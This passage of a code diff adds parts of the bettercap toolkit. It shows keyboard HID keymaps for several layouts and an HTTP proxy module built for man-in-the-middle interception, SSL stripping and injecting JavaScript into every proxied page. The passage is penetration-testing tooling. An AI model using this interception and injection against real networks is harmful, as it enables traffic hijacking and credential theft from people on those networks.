+		"Ł":  Command{HID: 15, Mode: 64},
+		"ł":  Command{HID: 14, Mode: 64},
+		"!":  Command{HID: 30, Mode: 2},
+		"%":  Command{HID: 34, Mode: 2},
+		")":  Command{HID: 38, Mode: 2},
+		"š":  Command{HID: 47},
+		"Š":  Command{HID: 47, Mode: 2},
+		"Ž":  Command{HID: 49, Mode: 2},
+		"ž":  Command{HID: 49},
+		"5":  Command{HID: 34},
+		"9":  Command{HID: 38},
+		"˘":  Command{HID: 33, Mode: 64},
+		"=":  Command{HID: 39, Mode: 2},
+		"A":  Command{HID: 4, Mode: 2},
+		"Č":  Command{HID: 51, Mode: 2},
+		"č":  Command{HID: 51},
+		"E":  Command{HID: 8, Mode: 2},
+		"Ć":  Command{HID: 52, Mode: 2},
+		"ć":  Command{HID: 52},
+		"M":  Command{HID: 16, Mode: 2},
+		"Q":  Command{HID: 20, Mode: 2},
+		"U":  Command{HID: 24, Mode: 2},
+		"Y":  Command{HID: 29, Mode: 2},
+		"]":  Command{HID: 10, Mode: 64},
+		"Đ":  Command{HID: 48, Mode: 2},
+		"đ":  Command{HID: 48},
+		"a":  Command{HID: 4},
+		"e":  Command{HID: 8},
+		"i":  Command{HID: 12},
+		"m":  Command{HID: 16},
+		"q":  Command{HID: 20},
+		"1":  Command{HID: 30},
+		"u":  Command{HID: 24},
+		"y":  Command{HID: 29},
+		"}":  Command{HID: 17, Mode: 64},
+	},
+	"GB": {
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 33, Mode: 2},
+		"(":         Command{HID: 38, Mode: 2},
+		",":         Command{HID: 54},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 54, Mode: 2},
+		"@":         Command{HID: 52, Mode: 2},
+		"€":         Command{HID: 33, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 100},
+		"`":         Command{HID: 53},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"£":         Command{HID: 32, Mode: 2},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 100, Mode: 2},
+		"BACKSPACE": Command{HID: 42},
+		"#":         Command{HID: 50},
+		"'":         Command{HID: 52},
+		"+":         Command{HID: 46, Mode: 2},
+		"/":         Command{HID: 56},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 51},
+		"?":         Command{HID: 56, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 47},
+		"_":         Command{HID: 45, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 47, Mode: 2},
+		"é":         Command{HID: 8, Mode: 64},
+		"\"":        Command{HID: 31, Mode: 2},
+		"í":         Command{HID: 12, Mode: 64},
+		"&":         Command{HID: 36, Mode: 2},
+		"*":         Command{HID: 37, Mode: 2},
+		".":         Command{HID: 55},
+		"ú":         Command{HID: 24, Mode: 64},
+		"2":         Command{HID: 31},
+		"6":         Command{HID: 35},
+		"ó":         Command{HID: 18, Mode: 64},
+		":":         Command{HID: 51, Mode: 2},
+		">":         Command{HID: 55, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 29, Mode: 2},
+		"^":         Command{HID: 35, Mode: 2},
+		"¦":         Command{HID: 53, Mode: 64},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"¬":         Command{HID: 53, Mode: 2},
+		"j":         Command{HID: 13},
+		"n":         Command{HID: 17},
+		"r":         Command{HID: 21},
+		"v":         Command{HID: 25},
+		"z":         Command{HID: 29},
+		"~":         Command{HID: 50, Mode: 2},
+		"!":         Command{HID: 30, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 39, Mode: 2},
+		"-":         Command{HID: 45},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 46},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 48},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 48, Mode: 2},
+	},
+	"BR": {
+		" ":  Command{HID: 44},
+		"$":  Command{HID: 33, Mode: 2},
+		"(":  Command{HID: 38, Mode: 2},
+		",":  Command{HID: 54},
+		"0":  Command{HID: 39},
+		"4":  Command{HID: 33},
+		"8":  Command{HID: 37},
+		"<":  Command{HID: 54, Mode: 2},
+		"@":  Command{HID: 31, Mode: 2},
+		"D":  Command{HID: 7, Mode: 2},
+		"H":  Command{HID: 11, Mode: 2},
+		"L":  Command{HID: 15, Mode: 2},
+		"P":  Command{HID: 19, Mode: 2},
+		"b":  Command{HID: 5},
+		"T":  Command{HID: 23, Mode: 2},
+		"X":  Command{HID: 27, Mode: 2},
+		"\\": Command{HID: 100},
+		"`":  Command{HID: 47, Mode: 2},
+		"d":  Command{HID: 7},
+		"h":  Command{HID: 11},
+		"l":  Command{HID: 15},
+		"p":  Command{HID: 19},
+		"t":  Command{HID: 23},
+		"x":  Command{HID: 27},
+		"|":  Command{HID: 100, Mode: 2},
+		"#":  Command{HID: 32, Mode: 2},
+		"'":  Command{HID: 53},
+		"+":  Command{HID: 46, Mode: 2},
+		"/":  Command{HID: 20, Mode: 64},
+		"3":  Command{HID: 32},
+		"7":  Command{HID: 36},
+		";":  Command{HID: 56},
+		"?":  Command{HID: 26, Mode: 64},
+		"C":  Command{HID: 6, Mode: 2},
+		"G":  Command{HID: 10, Mode: 2},
+		"K":  Command{HID: 14, Mode: 2},
+		"O":  Command{HID: 18, Mode: 2},
+		"S":  Command{HID: 22, Mode: 2},
+		"W":  Command{HID: 26, Mode: 2},
+		"[":  Command{HID: 48},
+		"_":  Command{HID: 45, Mode: 2},
+		"c":  Command{HID: 6},
+		"g":  Command{HID: 10},
+		"k":  Command{HID: 14},
+		"o":  Command{HID: 18},
+		"s":  Command{HID: 22},
+		"w":  Command{HID: 26},
+		"{":  Command{HID: 48, Mode: 2},
+		"Ç":  Command{HID: 51, Mode: 2},
+		"\"": Command{HID: 53, Mode: 2},
+		"&":  Command{HID: 36, Mode: 2},
+		"*":  Command{HID: 37, Mode: 2},
+		"ç":  Command{HID: 51},
+		".":  Command{HID: 55},
+		"2":  Command{HID: 31},
+		"6":  Command{HID: 35},
+		":":  Command{HID: 56, Mode: 2},
+		">":  Command{HID: 55, Mode: 2},
+		"B":  Command{HID: 5, Mode: 2},
+		"F":  Command{HID: 9, Mode: 2},
+		"J":  Command{HID: 13, Mode: 2},
+		"N":  Command{HID: 17, Mode: 2},
+		"R":  Command{HID: 21, Mode: 2},
+		"V":  Command{HID: 25, Mode: 2},
+		"Z":  Command{HID: 29, Mode: 2},
+		"^":  Command{HID: 52, Mode: 2},
+		"§":  Command{HID: 46, Mode: 64},
+		"f":  Command{HID: 9},
+		"j":  Command{HID: 13},
+		"n":  Command{HID: 17},
+		"´":  Command{HID: 47},
+		"r":  Command{HID: 21},
+		"°":  Command{HID: 8, Mode: 64},
+		"v":  Command{HID: 25},
+		"z":  Command{HID: 29},
+		"~":  Command{HID: 52},
+		"!":  Command{HID: 30, Mode: 2},
+		"%":  Command{HID: 34, Mode: 2},
+		")":  Command{HID: 39, Mode: 2},
+		"-":  Command{HID: 45},
+		"1":  Command{HID: 30},
+		"5":  Command{HID: 34},
+		"9":  Command{HID: 38},
+		"=":  Command{HID: 46},
+		"A":  Command{HID: 4, Mode: 2},
+		"E":  Command{HID: 8, Mode: 2},
+		"I":  Command{HID: 12, Mode: 2},
+		"M":  Command{HID: 16, Mode: 2},
+		"Q":  Command{HID: 20, Mode: 2},
+		"U":  Command{HID: 24, Mode: 2},
+		"Y":  Command{HID: 28, Mode: 2},
+		"]":  Command{HID: 49},
+		"a":  Command{HID: 4},
+		"e":  Command{HID: 8},
+		"i":  Command{HID: 12},
+		"m":  Command{HID: 16},
+		"q":  Command{HID: 20},
+		"u":  Command{HID: 24},
+		"y":  Command{HID: 28},
+		"}":  Command{HID: 49, Mode: 2},
+	},
+	"RU": {
+		" ":  Command{HID: 44},
+		"$":  Command{HID: 33, Mode: 2},
+		"(":  Command{HID: 38, Mode: 2},
+		",":  Command{HID: 54, Mode: 2},
+		"0":  Command{HID: 39},
+		"4":  Command{HID: 33},
+		"8":  Command{HID: 37},
+		"3":  Command{HID: 32},
+		";":  Command{HID: 54},
+		"?":  Command{HID: 56},
+		"ё":  Command{HID: 53},
+		"#":  Command{HID: 32, Mode: 2},
+		"'":  Command{HID: 36, Mode: 2},
+		"/":  Command{HID: 56, Mode: 2},
+		"с":  Command{HID: 22},
+		"р":  Command{HID: 21},
+		"у":  Command{HID: 11},
+		"т":  Command{HID: 28},
+		"х":  Command{HID: 27},
+		"7":  Command{HID: 36},
+		"ц":  Command{HID: 6},
+		"щ":  Command{HID: 48},
+		"ш":  Command{HID: 26},
+		"ы":  Command{HID: 24},
+		"ъ":  Command{HID: 46, Mode: 2},
+		"ь":  Command{HID: 16},
+		"я":  Command{HID: 20},
+		"ю":  Command{HID: 47},
+		"в":  Command{HID: 25},
+		"г":  Command{HID: 10},
+		"а":  Command{HID: 9},
+		"б":  Command{HID: 5},
+		"ж":  Command{HID: 52},
+		"з":  Command{HID: 29},
+		"д":  Command{HID: 7},
+		"е":  Command{HID: 8},
+		"к":  Command{HID: 14},
+		"л":  Command{HID: 15},
+		"и":  Command{HID: 18},
+		"й":  Command{HID: 13},
+		"о":  Command{HID: 19},
+		"м":  Command{HID: 16},
+		"н":  Command{HID: 17},
+		"Т":  Command{HID: 28, Mode: 2},
+		"У":  Command{HID: 11, Mode: 2},
+		"Р":  Command{HID: 9, Mode: 2},
+		"С":  Command{HID: 22, Mode: 2},
+		"Ц":  Command{HID: 6, Mode: 2},
+		"Х":  Command{HID: 27, Mode: 2},
+		"Ъ":  Command{HID: 46},
+		"Ы":  Command{HID: 24, Mode: 2},
+		"Ш":  Command{HID: 26, Mode: 2},
+		"Щ":  Command{HID: 48, Mode: 2},
+		"Ю":  Command{HID: 47, Mode: 2},
+		"Я":  Command{HID: 20, Mode: 2},
+		"Ь":  Command{HID: 16, Mode: 2},
+		"В":  Command{HID: 25, Mode: 2},
+		"Г":  Command{HID: 10, Mode: 2},
+		"А":  Command{HID: 4, Mode: 2},
+		"Б":  Command{HID: 5, Mode: 2},
+		"Ж":  Command{HID: 52, Mode: 2},
+		"З":  Command{HID: 29, Mode: 2},
+		"Д":  Command{HID: 7, Mode: 2},
+		"Е":  Command{HID: 8, Mode: 2},
+		"К":  Command{HID: 14, Mode: 2},
+		"Л":  Command{HID: 15, Mode: 2},
+		"И":  Command{HID: 18, Mode: 2},
+		"Й":  Command{HID: 13, Mode: 2},
+		"О":  Command{HID: 19, Mode: 2},
+		"М":  Command{HID: 16, Mode: 2},
+		"Н":  Command{HID: 17, Mode: 2},
+		"№":  Command{HID: 49, Mode: 2},
+		"\"": Command{HID: 31, Mode: 2},
+		"&":  Command{HID: 35, Mode: 2},
+		"*":  Command{HID: 37, Mode: 2},
+		".":  Command{HID: 55, Mode: 2},
+		"2":  Command{HID: 31},
+		"_":  Command{HID: 45, Mode: 2},
+		"6":  Command{HID: 35},
+		":":  Command{HID: 55},
+		"~":  Command{HID: 49},
+		"!":  Command{HID: 30, Mode: 2},
+		"%":  Command{HID: 34, Mode: 2},
+		")":  Command{HID: 39, Mode: 2},
+		"-":  Command{HID: 45},
+		"1":  Command{HID: 30},
+		"Ё":  Command{HID: 53, Mode: 2},
+		"5":  Command{HID: 34},
+		"9":  Command{HID: 38},
+	},
+	"FI": {
+		" ":  Command{HID: 44},
+		"$":  Command{HID: 33, Mode: 64},
+		"(":  Command{HID: 37, Mode: 2},
+		",":  Command{HID: 54},
+		"0":  Command{HID: 39},
+		"4":  Command{HID: 33},
+		"8":  Command{HID: 37},
+		"<":  Command{HID: 100},
+		"@":  Command{HID: 31, Mode: 64},
+		"€":  Command{HID: 8, Mode: 64},
+		"D":  Command{HID: 7, Mode: 2},
+		"H":  Command{HID: 11, Mode: 2},
+		"L":  Command{HID: 15, Mode: 2},
+		"P":  Command{HID: 19, Mode: 2},
+		"§":  Command{HID: 53},
+		"T":  Command{HID: 23, Mode: 2},
+		"X":  Command{HID: 27, Mode: 2},
+		"\\": Command{HID: 45, Mode: 64},
+		"`":  Command{HID: 46, Mode: 2},
+		"d":  Command{HID: 7},
+		"h":  Command{HID: 11},
+		"l":  Command{HID: 15},
+		"p":  Command{HID: 19},
+		"t":  Command{HID: 23},
+		"x":  Command{HID: 27},
+		"|":  Command{HID: 100, Mode: 64},
+		"#":  Command{HID: 32, Mode: 2},
+		"'":  Command{HID: 49},
+		"+":  Command{HID: 45},
+		"/":  Command{HID: 36, Mode: 2},
+		"3":  Command{HID: 32},
+		"7":  Command{HID: 36},
+		";":  Command{HID: 54, Mode: 2},
+		"?":  Command{HID: 45, Mode: 2},
+		"C":  Command{HID: 6, Mode: 2},
+		"G":  Command{HID: 10, Mode: 2},
+		"K":  Command{HID: 14, Mode: 2},
+		"O":  Command{HID: 18, Mode: 2},
+		"S":  Command{HID: 22, Mode: 2},
+		"W":  Command{HID: 26, Mode: 2},
+		"[":  Command{HID: 37, Mode: 64},
+		"_":  Command{HID: 56, Mode: 2},
+		"c":  Command{HID: 6},
+		"g":  Command{HID: 10},
+		"k":  Command{HID: 14},
+		"o":  Command{HID: 18},
+		"s":  Command{HID: 22},
+		"w":  Command{HID: 26},
+		"{":  Command{HID: 36, Mode: 64},
+		"Ä":  Command{HID: 52, Mode: 2},
+		".":  Command{HID: 55},
+		"Ö":  Command{HID: 51, Mode: 2},
+		"\"": Command{HID: 31, Mode: 2},
+		"&":  Command{HID: 35, Mode: 2},
+		"*":  Command{HID: 49, Mode: 2},
+		"ä":  Command{HID: 52},
+		"2":  Command{HID: 31},
+		"6":  Command{HID: 35},
+		":":  Command{HID: 55, Mode: 2},
+		"ö":  Command{HID: 51},
+		">":  Command{HID: 100, Mode: 2},
+		"B":  Command{HID: 5, Mode: 2},
+		"F":  Command{HID: 9, Mode: 2},
+		"J":  Command{HID: 13, Mode: 2},
+		"N":  Command{HID: 17, Mode: 2},
+		"R":  Command{HID: 21, Mode: 2},
+		"V":  Command{HID: 25, Mode: 2},
+		"Z":  Command{HID: 29, Mode: 2},
+		"^":  Command{HID: 48, Mode: 2},
+		"¤":  Command{HID: 33, Mode: 2},
+		"b":  Command{HID: 5},
+		"f":  Command{HID: 9},
+		"j":  Command{HID: 13},
+		"n":  Command{HID: 17},
+		"´":  Command{HID: 46},
+		"µ":  Command{HID: 16, Mode: 64},
+		"r":  Command{HID: 21},
+		"v":  Command{HID: 25},
+		"z":  Command{HID: 29},
+		"~":  Command{HID: 48, Mode: 64},
+		"!":  Command{HID: 30, Mode: 2},
+		"%":  Command{HID: 34, Mode: 2},
+		")":  Command{HID: 38, Mode: 2},
+		"-":  Command{HID: 56},
+		"1":  Command{HID: 30},
+		"5":  Command{HID: 34},
+		"9":  Command{HID: 38},
+		"=":  Command{HID: 39, Mode: 2},
+		"A":  Command{HID: 4, Mode: 2},
+		"E":  Command{HID: 8, Mode: 2},
+		"I":  Command{HID: 12, Mode: 2},
+		"M":  Command{HID: 16, Mode: 2},
+		"Q":  Command{HID: 20, Mode: 2},
+		"U":  Command{HID: 24, Mode: 2},
+		"Y":  Command{HID: 28, Mode: 2},
+		"]":  Command{HID: 38, Mode: 64},
+		"a":  Command{HID: 4},
+		"e":  Command{HID: 8},
+		"i":  Command{HID: 12},
+		"m":  Command{HID: 16},
+		"q":  Command{HID: 20},
+		"u":  Command{HID: 24},
+		"y":  Command{HID: 28},
+		"}":  Command{HID: 39, Mode: 64},
+	},
+	"ES": {
+		" ":  Command{HID: 44},
+		"$":  Command{HID: 33, Mode: 2},
+		"(":  Command{HID: 37, Mode: 2},
+		",":  Command{HID: 54},
+		"0":  Command{HID: 39},
+		"4":  Command{HID: 33},
+		"8":  Command{HID: 37},
+		"<":  Command{HID: 100},
+		"@":  Command{HID: 31, Mode: 64},
+		"D":  Command{HID: 7, Mode: 2},
+		"H":  Command{HID: 11, Mode: 2},
+		"L":  Command{HID: 15, Mode: 2},
+		"P":  Command{HID: 19, Mode: 2},
+		"T":  Command{HID: 23, Mode: 2},
+		"X":  Command{HID: 27, Mode: 2},
+		"\\": Command{HID: 53, Mode: 64},
+		"d":  Command{HID: 7},
+		"h":  Command{HID: 11},
+		"l":  Command{HID: 15},
+		"p":  Command{HID: 19},
+		"t":  Command{HID: 23},
+		"x":  Command{HID: 27},
+		"|":  Command{HID: 30, Mode: 64},
+		"#":  Command{HID: 32, Mode: 64},
+		"'":  Command{HID: 45},
+		"+":  Command{HID: 48},
+		"/":  Command{HID: 36, Mode: 2},
+		"3":  Command{HID: 32},
+		"7":  Command{HID: 36},
+		";":  Command{HID: 54, Mode: 2},
+		"?":  Command{HID: 45, Mode: 2},
+		"C":  Command{HID: 6, Mode: 2},
+		"G":  Command{HID: 10, Mode: 2},
+		"K":  Command{HID: 14, Mode: 2},
+		"O":  Command{HID: 18, Mode: 2},
+		"S":  Command{HID: 22, Mode: 2},
+		"è":  Command{HID: 47},
+		"W":  Command{HID: 26, Mode: 2},
+		"[":  Command{HID: 47, Mode: 64},
+		"_":  Command{HID: 56, Mode: 2},
+		"c":  Command{HID: 6},
+		"g":  Command{HID: 10},
+		"k":  Command{HID: 14},
+		"ì":  Command{HID: 46},
+		"o":  Command{HID: 18},
+		"s":  Command{HID: 22},
+		"w":  Command{HID: 26},
+		"{":  Command{HID: 47, Mode: 66},
+		"à":  Command{HID: 52},
+		"é":  Command{HID: 47, Mode: 2},
+		"\"": Command{HID: 31, Mode: 2},
+		"&":  Command{HID: 35, Mode: 2},
+		"*":  Command{HID: 48, Mode: 2},
+		".":  Command{HID: 55},
+		"ù":  Command{HID: 49},
+		"2":  Command{HID: 31},
+		"6":  Command{HID: 35},
+		"ò":  Command{HID: 51},
+		":":  Command{HID: 55, Mode: 2},
+		">":  Command{HID: 100, Mode: 2},
+		"B":  Command{HID: 5, Mode: 2},
+		"F":  Command{HID: 9, Mode: 2},
+		"J":  Command{HID: 13, Mode: 2},
+		"N":  Command{HID: 17, Mode: 2},
+		"R":  Command{HID: 21, Mode: 2},
+		"V":  Command{HID: 25, Mode: 2},
+		"Z":  Command{HID: 29, Mode: 2},
+		"^":  Command{HID: 46, Mode: 2},
+		"b":  Command{HID: 5},
+		"f":  Command{HID: 9},
+		"j":  Command{HID: 13},
+		"n":  Command{HID: 17},
+		"r":  Command{HID: 21},
+		"v":  Command{HID: 25},
+		"z":  Command{HID: 29},
+		"º":  Command{HID: 53},
+		"~":  Command{HID: 33, Mode: 64},
+		"!":  Command{HID: 30, Mode: 2},
+		"%":  Command{HID: 34, Mode: 2},
+		")":  Command{HID: 38, Mode: 2},
+		"-":  Command{HID: 56},
+		"1":  Command{HID: 30},
+		"5":  Command{HID: 34},
+		"9":  Command{HID: 38},
+		"=":  Command{HID: 39, Mode: 2},
+		"A":  Command{HID: 4, Mode: 2},
+		"E":  Command{HID: 8, Mode: 2},
+		"I":  Command{HID: 12, Mode: 2},
+		"M":  Command{HID: 16, Mode: 2},
+		"Q":  Command{HID: 20, Mode: 2},
+		"U":  Command{HID: 24, Mode: 2},
+		"Y":  Command{HID: 28, Mode: 2},
+		"]":  Command{HID: 48, Mode: 64},
+		"a":  Command{HID: 4},
+		"e":  Command{HID: 8},
+		"i":  Command{HID: 12},
+		"m":  Command{HID: 16},
+		"q":  Command{HID: 20},
+		"u":  Command{HID: 24},
+		"y":  Command{HID: 28},
+		"}":  Command{HID: 48, Mode: 66},
+	},
+}
+
+func KeyMapFor(lang string) KeyMap {
+	if m, found := KeyMaps[lang]; found {
+		mm := KeyMap{}
+		for k, cmd := range BaseMap {
+			mm[k] = cmd
+		}
+		for k, cmd := range m {
+			mm[k] = cmd
+		}
+		return mm
+	}
+	return nil
+}
+
+func SupportedLayouts() []string {
+	maps := []string{}
+	for lang := range KeyMaps {
+		maps = append(maps, lang)
+	}
+	sort.Strings(maps)
+	return maps
+}

+ 146 - 0
bettercap/modules/http_proxy/http_proxy.go

@@ -0,0 +1,146 @@
+package http_proxy
+
+import (
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/evilsocket/islazy/str"
+)
+
+type HttpProxy struct {
+	session.SessionModule
+	proxy *HTTPProxy
+}
+
+func NewHttpProxy(s *session.Session) *HttpProxy {
+	mod := &HttpProxy{
+		SessionModule: session.NewSessionModule("http.proxy", s),
+		proxy:         NewHTTPProxy(s, "http.proxy"),
+	}
+
+	mod.AddParam(session.NewIntParameter("http.port",
+		"80",
+		"HTTP port to redirect when the proxy is activated."))
+
+	mod.AddParam(session.NewStringParameter("http.proxy.address",
+		session.ParamIfaceAddress,
+		session.IPv4Validator,
+		"Address to bind the HTTP proxy to."))
+
+	mod.AddParam(session.NewIntParameter("http.proxy.port",
+		"8080",
+		"Port to bind the HTTP proxy to."))
+
+	mod.AddParam(session.NewBoolParameter("http.proxy.redirect",
+		"true",
+		"Enable or disable port redirection with iptables."))
+
+	mod.AddParam(session.NewStringParameter("http.proxy.script",
+		"",
+		"",
+		"Path of a proxy JS script."))
+
+	mod.AddParam(session.NewStringParameter("http.proxy.injectjs",
+		"",
+		"",
+		"URL, path or javascript code to inject into every HTML page."))
+
+	mod.AddParam(session.NewStringParameter("http.proxy.blacklist", "", "",
+		"Comma separated list of hostnames to skip while proxying (wildcard expressions can be used)."))
+
+	mod.AddParam(session.NewStringParameter("http.proxy.whitelist", "", "",
+		"Comma separated list of hostnames to proxy if the blacklist is used (wildcard expressions can be used)."))
+
+	mod.AddParam(session.NewBoolParameter("http.proxy.sslstrip",
+		"false",
+		"Enable or disable SSL stripping."))
+
+	mod.AddHandler(session.NewModuleHandler("http.proxy on", "",
+		"Start HTTP proxy.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("http.proxy off", "",
+		"Stop HTTP proxy.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+		mod.InitState("stripper")
+
+	return mod
+}
+
+func (mod *HttpProxy) Name() string {
+	return "http.proxy"
+}
+
+func (mod *HttpProxy) Description() string {
+	return "A full featured HTTP proxy that can be used to inject malicious contents into webpages, all HTTP traffic will be redirected to it."
+}
+
+func (mod *HttpProxy) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *HttpProxy) Configure() error {
+	var err error
+	var address string
+	var proxyPort int
+	var httpPort int
+	var doRedirect bool
+	var scriptPath string
+	var stripSSL bool
+	var jsToInject string
+	var blacklist string
+	var whitelist string
+
+	if mod.Running() {
+		return session.ErrAlreadyStarted(mod.Name())
+	} else if err, address = mod.StringParam("http.proxy.address"); err != nil {
+		return err
+	} else if err, proxyPort = mod.IntParam("http.proxy.port"); err != nil {
+		return err
+	} else if err, httpPort = mod.IntParam("http.port"); err != nil {
+		return err
+	} else if err, doRedirect = mod.BoolParam("http.proxy.redirect"); err != nil {
+		return err
+	} else if err, scriptPath = mod.StringParam("http.proxy.script"); err != nil {
+		return err
+	} else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil {
+		return err
+	} else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil {
+		return err
+	} else if err, blacklist = mod.StringParam("http.proxy.blacklist"); err != nil {
+		return err
+	} else if err, whitelist = mod.StringParam("http.proxy.whitelist"); err != nil {
+		return err
+	}
+
+	mod.proxy.Blacklist = str.Comma(blacklist)
+	mod.proxy.Whitelist = str.Comma(whitelist)
+
+	error := mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL)
+
+	// save stripper to share it with other http(s) proxies
+	mod.State.Store("stripper", mod.proxy.Stripper)
+
+	return error
+}
+
+func (mod *HttpProxy) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	return mod.SetRunning(true, func() {
+		mod.proxy.Start()
+	})
+}
+
+func (mod *HttpProxy) Stop() error {
+	mod.State.Store("stripper", nil)
+	return mod.SetRunning(false, func() {
+		mod.proxy.Stop()
+	})
+}

+ 454 - 0
bettercap/modules/http_proxy/http_proxy_base.go

@@ -0,0 +1,454 @@
+package http_proxy
+
+import (
+	"bufio"
+	"bytes"
+	"context"
+	"crypto/tls"
+	"crypto/x509"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"net/url"
+	"path/filepath"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/bettercap/bettercap/firewall"
+	"github.com/bettercap/bettercap/session"
+	btls "github.com/bettercap/bettercap/tls"
+
+	"github.com/elazarl/goproxy"
+	"github.com/inconshreveable/go-vhost"
+
+	"github.com/evilsocket/islazy/fs"
+	"github.com/evilsocket/islazy/log"
+	"github.com/evilsocket/islazy/str"
+	"github.com/evilsocket/islazy/tui"
+)
+
+const (
+	httpReadTimeout  = 5 * time.Second
+	httpWriteTimeout = 10 * time.Second
+)
+
+type HTTPProxy struct {
+	Name        string
+	Address     string
+	Server      *http.Server
+	Redirection *firewall.Redirection
+	Proxy       *goproxy.ProxyHttpServer
+	Script      *HttpProxyScript
+	CertFile    string
+	KeyFile     string
+	Blacklist   []string
+	Whitelist   []string
+	Sess        *session.Session
+	Stripper    *SSLStripper
+
+	jsHook      string
+	isTLS       bool
+	isRunning   bool
+	doRedirect  bool
+	sniListener net.Listener
+	tag         string
+}
+
+func stripPort(s string) string {
+	ix := strings.IndexRune(s, ':')
+	if ix == -1 {
+		return s
+	}
+	return s[:ix]
+}
+
+type dummyLogger struct {
+	p *HTTPProxy
+}
+
+func (l dummyLogger) Printf(format string, v ...interface{}) {
+	l.p.Debug("[goproxy.log] %s", str.Trim(fmt.Sprintf(format, v...)))
+}
+
+func NewHTTPProxy(s *session.Session, tag string) *HTTPProxy {
+	p := &HTTPProxy{
+		Name:       "http.proxy",
+		Proxy:      goproxy.NewProxyHttpServer(),
+		Sess:       s,
+		Stripper:   NewSSLStripper(s, false),
+		isTLS:      false,
+		doRedirect: true,
+		Server:     nil,
+		Blacklist:  make([]string, 0),
+		Whitelist:  make([]string, 0),
+		tag:        session.AsTag(tag),
+	}
+
+	p.Proxy.Verbose = false
+	p.Proxy.Logger = dummyLogger{p}
+
+	p.Proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
+		if p.doProxy(req) {
+			if !p.isTLS {
+				req.URL.Scheme = "http"
+			}
+			req.URL.Host = req.Host
+			p.Proxy.ServeHTTP(w, req)
+		}
+	})
+
+	p.Proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
+	p.Proxy.OnRequest().DoFunc(p.onRequestFilter)
+	p.Proxy.OnResponse().DoFunc(p.onResponseFilter)
+
+	return p
+}
+
+func (p *HTTPProxy) Debug(format string, args ...interface{}) {
+	p.Sess.Events.Log(log.DEBUG, p.tag+format, args...)
+}
+
+func (p *HTTPProxy) Info(format string, args ...interface{}) {
+	p.Sess.Events.Log(log.INFO, p.tag+format, args...)
+}
+
+func (p *HTTPProxy) Warning(format string, args ...interface{}) {
+	p.Sess.Events.Log(log.WARNING, p.tag+format, args...)
+}
+
+func (p *HTTPProxy) Error(format string, args ...interface{}) {
+	p.Sess.Events.Log(log.ERROR, p.tag+format, args...)
+}
+
+func (p *HTTPProxy) Fatal(format string, args ...interface{}) {
+	p.Sess.Events.Log(log.FATAL, p.tag+format, args...)
+}
+
+func (p *HTTPProxy) doProxy(req *http.Request) bool {
+	if req.Host == "" {
+		p.Error("got request with empty host: %v", req)
+		return false
+	}
+
+	hostname := strings.Split(req.Host, ":")[0]
+	for _, local := range []string{"localhost", "127.0.0.1"} {
+		if hostname == local {
+			p.Error("got request with localed host: %s", req.Host)
+			return false
+		}
+	}
+
+	return true
+}
+
+func (p *HTTPProxy) shouldProxy(req *http.Request) bool {
+	hostname := strings.Split(req.Host, ":")[0]
+
+	// check for the whitelist
+	for _, expr := range p.Whitelist {
+		if matched, err := filepath.Match(expr, hostname); err != nil {
+			p.Error("error while using proxy whitelist expression '%s': %v", expr, err)
+		} else if matched {
+			p.Debug("hostname '%s' matched whitelisted element '%s'", hostname, expr)
+			return true
+		}
+	}
+
+	// then the blacklist
+	for _, expr := range p.Blacklist {
+		if matched, err := filepath.Match(expr, hostname); err != nil {
